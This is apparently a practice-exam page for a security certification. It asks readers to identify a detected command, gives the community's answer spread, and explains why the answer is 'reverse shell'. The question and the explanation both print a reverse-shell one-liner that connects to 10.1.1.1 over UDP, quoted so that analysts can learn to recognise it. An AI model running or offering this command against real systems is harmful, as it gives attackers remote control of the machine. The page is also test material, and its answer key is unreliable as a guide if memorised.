A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?

The correct answer is B. Reverse shell. A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that…

Submitted by klara.se· Mar 6, 2026Security operations

Question

A security analyst detects an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?

Options

ARCE
BReverse shell
CXSS
DSQL injection

How the community answered

(36 responses)

A
3% (1)
B
83% (30)
C
8% (3)
D
6% (2)

Explanation

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user's system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l This command is a shell script that creates a reverse shell connection from the target system to the remote user's system at IP address 10.1.1.1 and port 4821 using UDP protocol.

Topics

#Reverse shell#Command injection#Linux commands#Exploit analysis

Community Discussion

No community discussion yet for this question.

Full CS0-003 Practice